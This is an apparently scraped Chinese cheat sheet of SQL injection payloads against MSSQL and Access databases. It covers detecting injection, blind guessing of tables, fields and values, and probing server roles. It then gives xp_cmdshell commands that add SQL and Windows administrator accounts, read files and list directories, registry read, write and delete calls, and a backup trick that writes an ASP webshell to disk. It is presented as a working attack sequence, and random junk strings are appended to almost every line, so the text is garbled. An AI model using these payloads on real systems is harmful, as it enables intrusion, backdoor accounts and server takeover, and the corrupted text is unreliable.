1.判断是否有注入;and 1=1 ;and 1=2 Q||vU
2.初步判断是否是mssql ;and user>0 cILI%W1
V+A9.KoI
3.注入参数是字符'and [查询条件] and ''=' !>,\KxnM
)\qA[rTG
4.搜索时没过滤参数的'and [查询条件] and '%25'=' -|"[S"e
Q1A_hW2 x
5.判断数据库系统 Hd/|f;
g[NmVY-o
;and (select count(*) from sysobjects)>0 mssql J@Qt(rRxi
R 2{ kS
;and (select count(*) from msysobjects)>0 access ,v#F6xv8
:"vW;$1
}
r~q(m>Ct6
vDeb?n
6.猜数据库 ;and (select Count(*) from [数据库名])>0 F1Jd-3ei
%M=Ob k
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 YR 5C`o
0:CIM
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 uuD|%-Ng
j5rB+
9.(1)猜字段的ascii值(access) ho'Ihep,L
~yGD("X
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 !T'`L{Sj
gXNlnh%?S
(2)猜字段的ascii值(mssql) wjVmK
i-<1M|f
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 'P:u/Sq?m
3.t
j%+
10.测试权限结构(mssql) /.1yxb#Z?,
iF_#cmSy$
61[ 8I},V
mm l`,t8
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- KE~l#=S
)F$<-0pT
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- $ouw*|<
At0ahy+
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- BidTrO
F3%8E<QZd;
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- tbH`VD"u
Mur)'
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- X0}+X'3
xpO'.xEs
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 9i=HZ\s3
(/^s?`1{N?
;and 1=(select IS_MEMBER('db_owner'));-- +=V[7^K;
v<_wf
Ik\n/EE
w
YEkWB^
11.添加mssql和系统的帐户 mnG\qsKNLK
#hQ#_7
;exec master.dbo.sp_addlogin username;-- j@Ta\a-,x
;exec master.dbo.sp_password null,username,password;-- O7Z?y*
OpNxd]"T
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 7eR%zNDa
l9P=1TL
;exec master.dbo.xp_cmdshell 'net user username password Qms,kX
G2[?b2)8
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- %$*WdK#
$!ATj`}kb
;exec master.dbo.xp_cmdshell 'net user username password /add';-- it#,5#Y:
%aB
RL6
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- L%CBz]`
0DsW1
}t FRl
TOx >Z
12.(1)遍历目录 ] oMtqkiR
\,ko'48@
;create table dirs(paths varchar(100), id int) ,pHQv(K/
*q$O6B-
;insert dirs exec master.dbo.xp_dirtree 'c:\' Dga;GYx
0^m`jD
;and (select top 1 paths from dirs)>0 b;5&V_
I"hlLP
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) J/(^Z?/~P!
t9\}!{<s
s$wIL//=
w2(pgWed
(2)遍历目录 )L0NX^jW;
sq45fRAi
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- GD-cP5$
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 xCYK"v6\
?glK~G!i
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 #WlTE&
gtwUY$
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 <C <z#M'`
8:sQB%BB
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 =MjkD)l
"sU jJ|
Q`m9I
O\+b1+&b3Y
13.mssql中的存储过程 nXT/zfS
fWz=bJ"V
xp_regenumvalues 注册表根键, 子键 35KRJY#
I
R|[&} z
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 gjL+8Rk
Aryp!oW
xp_regread 根键,子键,键值名 |*%i]@V=
_O3X;U7rc
;exec xp_regread ^5n#hSqZ=M
]RxJ^'a63
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 NA!?.zn
cw/E?0MWb
xp_regwrite 根键,子键, 值名, 值类型, 值 @:Emmzucv|
L-DL)8;`
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 j@s* hZ^J+
[:gp_Z&
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 \k9]c3V
d<cqY<y VA
xp_regdeletevalue 根键,子键,值名 u\q(v D.
2(2UAB"u
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 @+7CfvM
T"/dn%21
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Ke^9R-jP
Jbn^G7vH<6
&)izh) FA
Pm"nwm
14.mssql的backup创建webshell jct'B}@X(
yioX^`Fc(~
use model b#(X+I
AfpC >>=@
create table cmd(str image); ~7wLnB
3/ '5#$
insert into cmd(str) values (''); _`lPLBr6
3Mq%3jX
backup database model to disk='c:\l.asp'; YQ>O6:%
fRjp(m
Oe21noL
E(_lm&,4+
15.mssql内置函数 T m2+/qO,
x^Zm:Jrw~
;and (select @@version)>0 获得Windows的版本号 48_( 'z*>
}.D adV
;and user_name()='dbo' 判断当前系统的连接用户是不是sa XZ<8M}Lg
:Bi 4z(
;and (select user_name())>0 爆当前系统的连接用户 Z>[n~{-,p
Y,?kS
dS
;and (select db_name())>0 得到当前连接的数据库 8Oa+,?<0x
@<yY Mo7
.I]EP-
)"J1ET,z
16.简洁的webshell uFuP%f!yY
?CldcxM#
use model a4mRu|x
OQVo4yl"
create table cmd(str image); XUA%3Xr
Ya}}a
insert into cmd(str) values (''); a@-bw4SD
T^ - - :1
backup database model to disk='g:\wwwtest\l.asp';